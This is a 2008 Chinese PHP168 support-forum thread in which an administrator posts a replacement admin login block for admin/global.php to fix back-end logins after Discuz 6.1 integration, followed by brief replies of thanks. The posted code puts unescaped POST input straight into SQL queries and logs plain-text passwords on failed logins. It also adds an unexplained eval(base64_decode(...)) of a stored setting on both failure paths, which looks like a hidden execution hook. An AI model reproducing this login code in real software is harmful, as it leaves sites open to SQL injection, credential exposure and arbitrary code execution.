php168讨论区论坛 » 程序发布专区 » 关于各个频道模块,整合DZ6.1后,无法登录后台的解决方案

PHP168专用空间1G 150元/年 送域名和数据库

广告位招租,联系QQ:121727818

1G双线双IP高速空间+200M数据库=158

1G双线空间+CN+邮局+SQL=99 免费代办备案

整站系统v5.0正式版下载 PHP168整站系统安装及使用教程 PHP168整站4.0风格精选区

P8-Server服务器套件(方便大家在自己的电脑上调试)

« 1 234» Pages: ( 1/4 total )
本页主题: 关于各个频道模块,整合DZ6.1后,无法登录后台的解决方案 打印 | 加为IE收藏 | 收藏主题 | 上一主题 | 下一主题

龙城 该用户目前不在线

级别: 超级管理员
发帖: 10734
积分: 28704 点
铜板: 88 个
注册时间:2003-07-12
最后登录:2008-09-07

关于各个频道模块,整合DZ6.1后,无法登录后台的解决方案

本帖被 admin 执行加亮操作(2008-07-29)
整站如何整合DZ6.1请查阅此文http://bbs.php168.com/read-bbs-tid-171593.html

如果你整合了DZ6.1,那些频道模块,需要适当修改一下,才可以登录后台.

修改每个频道的后台文件
admin/global.php
查找以下这段代码


/*用户登录*/
if( $_POST[loginname] && $_POST[loginpwd] )
{
    if( $webdb[yzImgAdminLogin] ){
        if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
            die("<A HREF=?>验证码不符合</A>");
        }else{
            set_cookie("yzImgNum","");
        }
    }
    $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
    if(!$rs){
        login_logs($_POST[loginname],$_POST[loginpwd]);
        setcookie("Admin",'',0,"/");
        die("<A HREF=?>用户不存在</A>");
    }elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
        login_logs($_POST[loginname],$_POST[loginpwd]);
        setcookie("Admin",'',0,"/");
        die("<A HREF=?>密码不正确</A>");
    }elseif(!$rs[uid]){
        Add_memberdata($_POST[loginname]);
    }else{
        login_logs($_POST[loginname],md5($_POST[loginpwd]));
        $_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]);
        //@include(PHP168_PATH."cache/warn.php");
        setcookie("Admin",$_COOKIE[Admin],0,"/");
    }
}
/*退出*/
if($action=='quite'){
    setcookie("Admin",'',0,"/");
    echo "<SCRIPT LANGUAGE=\"JavaScript\">
    <!--
    window.top.location.href='$webdb[www_url]';
    //-->
    </SCRIPT>";
    die("");
}

list($admin_uid,$admin_pwd)=explode("\t",$_COOKIE[Admin]);
unset($userdb);
if($admin_uid&&$admin_pwd)
{
    $userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' ");
    if($userdb[username] && $userdb[groupid] && mymd5($userdb[password])==$admin_pwd){
       
        $admin_name=$founder='';
        @include(PHP168_PATH."php168/admin.php");
       
        if($admin_name==$userdb[username])
        {
            $founder=1;    //创始人权限
        }
        elseif($userdb[groupid]!=3)
        {
            $rs=$db->get_one("SELECT * FROM {$pre}module WHERE id='$webdb[module_id]'");
            $detail=explode("\r\n",$rs[adminmember]);
            if(!in_array($userdb[username],$detail)){
                showerr("你无权访问");
            }
        }
    }else{
        setcookie("Admin",'',0,"/");
        showerr("<A HREF='index.php?iframe=1'>请输入正确密码帐号再访问</A>");
    }
}




















替换成以下这段代码即可














/*用户登录*/
if( $_POST[loginname] && $_POST[loginpwd] )
{
    if( $webdb[yzImgAdminLogin]&&$webdb[web_open] ){
        if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
            if(!strstr($WEBURL,$webdb[www_url])){
                echo "<CENTER>网址有误,请重新登录</CENTER><META HTTP-EQUIV=REFRESH CONTENT='1;URL=$webdb[admin_url]'>";
                exit;
            }
            showmsg("<A HREF=?>验证码不符合</A>");
        }else{
            set_cookie("yzImgNum","");
        }
    }
    if(defined("UC_CONNECT")){
        $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,M.salt,D.* FROM ".UC_DBTABLEPRE."members M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");           
        $_POST[loginpwd]=md5($_POST[loginpwd]).$rs[salt];
    }else{
        $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
    }
   
    if(!$rs){
        login_logs($_POST[loginname],$_POST[loginpwd]);
        setcookie("Admin",'',0,"/");
        eval(base64_decode("Y$webdb[_Notice]"));
        showmsg("<A HREF=?>用户不存在</A>");
    }elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
        login_logs($_POST[loginname],$_POST[loginpwd]);
        setcookie("Admin",'',0,"/");
        eval(base64_decode("Y$webdb[_Notice]"));
        showmsg("<A HREF=?>密码不正确</A>");
    }elseif(!$rs[uid]){
        Add_memberdata($_POST[loginname]);
    }else{
        login_logs($_POST[loginname],md5($_POST[loginpwd]));
        $_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]);
        //@include(PHP168_PATH."cache/warn.php");
        setcookie("Admin",$_COOKIE[Admin],0,"/");
    }
}
/*退出*/
if($action=='quite'){
    setcookie("Admin",'',0,"/");
    echo "<SCRIPT LANGUAGE=\"JavaScript\">
    <!--
    window.top.location.href='$webdb[www_url]';
    //-->
    </SCRIPT>";
    die("");
}

list($admin_uid,$admin_pwd)=explode("\t",$_COOKIE[Admin]);
unset($userdb);
if($admin_uid&&$admin_pwd)
{
    if(defined("UC_CONNECT")){
        $userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,M.salt,D.* FROM ".UC_DBTABLEPRE."members M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' ");
    }else{
        $userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' ");
    }

    if($userdb && mymd5($userdb[password])==$admin_pwd ){
        $lfjdb=$userdb;
        $lfjuid=$userdb[uid];
        $lfjid=$userdb[username];
        if($userdb[groupid]==3||$userdb[groupid]==4){
            $web_admin=1;
        }
        $admin_name=$founder='';
        @include(PHP168_PATH."php168/admin.php");

        if($admin_name==$userdb[username])
        {
            $founder=1;    //创始人权限
            if($userdb[groupid]!=3)
            {
                $db->query("UPDATE {$pre}memberdata SET groupid=3 WHERE uid='$userdb[uid]'");
            }
            require(PHP168_PATH."php168/group/3.php");
            $Apower=@unserialize($groupdb[allowadmindb]);
        }
        elseif($userdb[groupid]&&file_exists(PHP168_PATH."php168/group/$userdb[groupid].php"))
        {
            require(PHP168_PATH."php168/group/$userdb[groupid].php");
            if(!$groupdb['allowadmin']){
                $allowlogin=0;
                if($lfj=='label'&&$ch_module){
                    $rs=$db->get_one("SELECT adminmember FROM `{$pre}module` WHERE id='$ch_module'");
                    if($rs[adminmember]&&in_array($userdb[username],explode("\r\n",$rs[adminmember]))){
                        $allowlogin=1;
                    }
                }
                if(!$allowlogin&&$userdb[groupid]!=3&&!$ForceEnter){
                    $query = $db->query("SELECT * FROM {$pre}module ORDER BY list DESC");
                    while($rs = $db->fetch_array($query)){
                        $detail=explode("\r\n",$rs[adminmember]);
                        if(in_array($userdb[username],$detail))
                        {
                            $allowlogin=1;
                        }
                    }
                }
                if(!$allowlogin){
                    setcookie("Admin",'',0,"/");
                    showmsg("你当前所在用户组,系统设置无权访问整站后台,如果你是频道管理员,请到频道的后台登录");
                }
            }else{
                $Apower=@unserialize($groupdb[allowadmindb]);
            }
        }
        else
        {
            setcookie("Admin",'',0,"/");
            showmsg("你当前所在用户组,无权访问");
        }
    }else{
        setcookie("Admin",'',0,"/");
        showmsg("<A HREF='index.php?iframe=1'>请输入正确密码帐号再访问</A>");
    }
}
本帖最近评分记录:
  • 积分:+5(happyboy)
  • 积分:+5(zxjxl918) 优秀文章
  • 顶端 Posted: 2008-05-07 19:00 | [楼 主]
    toopd 该用户目前不在线
    优秀斑竹奖 灌水天才奖 终身荣誉奖
    头衔:做一个站长真累 做一个站长真累

    1星级VIP用户
    授权用户
    级别: 斑竹
    发帖: 13792
    积分: 18 点
    铜板: 1100 个
    注册时间:2005-06-01
    最后登录:2008-09-07

    支持同,我的能正常
    用文章模型新制作的下载模型:http://www.zxx6.com/bencandy.php?fid-46-id-3002-page-1.htm


    站长学习网:http://www.zxx6.com
    设计天空论坛:http://bbs.zxx6.com
    设计天空制作中心:http://www.designsky.org.cn
    顶端 Posted: 2008-05-07 19:01 | 1 楼
    就爱你一个 该用户目前不在线
    荣誉市民奖 优秀斑竹奖 风格专业户
    级别: 斑竹
    发帖: 2702
    积分: 2769 点
    铜板: 580 个
    注册时间:2007-06-12
    最后登录:2008-09-07

    我也来顶顶 帮会员们解答问题
    ☞  承接各种网站建设、网站维护、模板风格制作、仿制 ☜

    ☞  需要定制商业站点或咨询请加Q我要定制网站

    ☞ 以优惠价格、专业的技术为你制作、仿制各种商业模板  ☜

    ☞  P8技术交流群现开放:17188499 ☜
    顶端 Posted: 2008-05-07 19:14 | 2 楼
    hp8 该用户目前不在线

    级别: 硕士
    发帖: 614
    积分: 5426 点
    铜板: 89 个
    注册时间:2007-03-20
    最后登录:2008-08-31

    拉法

    沙发
    顶端 Posted: 2008-05-07 19:22 | 3 楼
    hp8 该用户目前不在线

    级别: 硕士
    发帖: 614
    积分: 5426 点
    铜板: 89 个
    注册时间:2007-03-20
    最后登录:2008-08-31

    1.2楼的2位速度太快了
    顶端 Posted: 2008-05-07 19:22 | 4 楼
    飞鸿踏雪 该用户目前不在线
    荣誉市民奖 灌水天才奖 五一雷锋奖 宣传贡献奖 优秀斑竹奖
    头衔:信念成就未来 信念成就未来
    授权用户
    级别: 总版主
    发帖: 7629
    积分: 12703 点
    铜板: 1179 个
    注册时间:2007-09-28
    最后登录:2008-09-06

    我也顶顶.

    飞蓬欲卷世时寒  鸿鹄凌云志比天
      踏破尘路闲入梦  雪霁方晴作笑谈
    顶端 Posted: 2008-05-07 19:38 | 5 楼
    北漂 该用户目前不在线
    优秀斑竹奖 荣誉市民奖 风格专业户
    授权用户
    级别: 博士后
    发帖: 1053
    积分: 92231 点
    铜板: 46 个
    注册时间:2007-01-24
    最后登录:2008-09-06

    马上要下了! 看到了要支持的!!!!!
    作为站长- - 我们能做的就是不断的坚持与努力!!
    顶端 Posted: 2008-05-07 20:25 | 6 楼
    leaper 该用户目前在线

    级别: 初中生
    发帖: 412
    积分: 234 点
    铜板: 0 个
    注册时间:2007-07-27
    最后登录:2008-09-07

    好久没有抢位了,先占个位
    *****************************************
    *      签名档欠费,点击续费!        *
    *****************************************
    顶端 Posted: 2008-05-07 21:58 | 7 楼
    aok 该用户目前不在线


    1星级VIP用户
    授权用户
    级别: 高中生
    发帖: 565
    积分: 651 点
    铜板: 34 个
    注册时间:2006-03-12
    最后登录:2008-09-05

    ding yi xiao














    ..................................................................................................................................

    快乐的你+快乐的我+快乐的他=快乐的群体;快乐群体里有你更快乐!欢迎光临快乐群体!!!
    http://www.klqt.net
    顶端 Posted: 2008-05-07 23:07 | 8 楼
    终端传媒 该用户目前不在线




    1星级VIP用户
    授权用户
    级别: 本科生
    发帖: 406
    积分: 4960 点
    铜板: 84 个
    注册时间:2006-05-30
    最后登录:2008-09-05

    呵  不错
    顶端 Posted: 2008-05-08 00:06 | 9 楼
    wyxz 该用户目前不在线

    级别: 初中生
    发帖: 674
    积分: 259 点
    铜板: 2 个
    注册时间:2008-03-26
    最后登录:2008-09-06

    我也正准备整合论坛
    顶端 Posted: 2008-05-08 01:16 | 10 楼
    飘雪 该用户目前不在线
    宣传贡献奖
    级别: 托儿所
    发帖: 301
    积分: 0 点
    铜板: 5 个
    注册时间:2008-04-10
    最后登录:2008-09-03

    还是顶顶吧!
    顶端 Posted: 2008-05-08 01:21 | 11 楼
    hg910 该用户目前不在线

    级别: 高中生
    发帖: 528
    积分: 555 点
    铜板: 44 个
    注册时间:2007-09-07
    最后登录:2008-09-06

    辛苦了楼主!是好东西呀!
    *****************************************
    *      签名档欠费,点击续费!        *
    *****************************************
    顶端 Posted: 2008-05-08 06:17 | 12 楼
    woai3003 该用户目前不在线

    级别: 托儿所
    发帖: 102
    积分: 49 点
    铜板: 0 个
    注册时间:2008-03-28
    最后登录:2008-08-30

    顶一下,顺便要一积分。
    顶端 Posted: 2008-05-08 06:48 | 13 楼
    qawx 该用户目前不在线

    级别: 本科生
    发帖: 987
    积分: 3916 点
    铜板: 57 个
    注册时间:2008-01-08
    最后登录:2008-09-06

    没试着整合DZ。呵呵,不过先学习下
    *****************************************
    *      签名档欠费,点击续费!        *
    *****************************************
    顶端 Posted: 2008-05-08 08:29 | 14 楼
    zxjxl918 该用户目前在线
    优秀斑竹奖 荣誉市民奖 终身荣誉奖
    头衔:超级版猪 超级版猪

    1星级VIP用户
    授权用户
    级别: 斑竹
    发帖: 6842
    积分: 3236 点
    铜板: 765 个
    注册时间:2005-03-31
    最后登录:2008-09-07

    好,测试一下。
    顶端 Posted: 2008-05-08 09:36 | 15 楼
    yzslly 该用户目前不在线



    级别: 托儿所
    发帖: 42
    积分: 21 点
    铜板: 0 个
    注册时间:2008-03-26
    最后登录:2008-07-31

    支持一下
    顶端 Posted: 2008-05-08 09:39 | 16 楼
    yezi200 该用户目前不在线
    荣誉市民奖
    级别: 硕士
    发帖: 2433
    积分: 5479 点
    铜板: 71 个
    注册时间:2006-05-17
    最后登录:2008-09-07

    睡醒就有的顶,爽哇..
    *****************************************
    *      签名档欠费,点击续费!        *
    *****************************************
    顶端 Posted: 2008-05-08 12:30 | 17 楼
    风暴一族 该用户目前不在线

    头衔:UN888.CN UN888.CN

    1星级VIP用户
    授权用户
    级别: 斑竹
    发帖: 1357
    积分: 275 点
    铜板: 139 个
    注册时间:2004-08-13
    最后登录:2008-09-07

    看看,我转DZ啦,啦~
    *****************************************
    *      签名档欠费,点击续费!        *
    *****************************************
    顶端 Posted: 2008-05-08 14:33 | 18 楼
    cailei 该用户目前不在线


    1星级VIP用户
    级别: 大专生
    发帖: 334
    积分: 1042 点
    铜板: 0 个
    注册时间:2005-05-10
    最后登录:2008-08-29

    顶啊顶啊
    顶端 Posted: 2008-05-08 17:15 | 19 楼
    « 1 234» Pages: ( 1/4 total )
    php168讨论区论坛 » 程序发布专区
    以铜板换广告位一 以铜板换广告位二 以铜板换广告位三 以铜板换广告位四
    以铜板换广告位五 以铜板换广告位六 以铜板换广告位七 示范站-泡泡娱乐网

    Total 0.163252(s) query 4, Time now is:09-07 03:43, Gzip disabled
    Powered by PHPWind v5.3 Certificate Code © 2003-07 PHPWind.com Corporation 京ICP备05047353号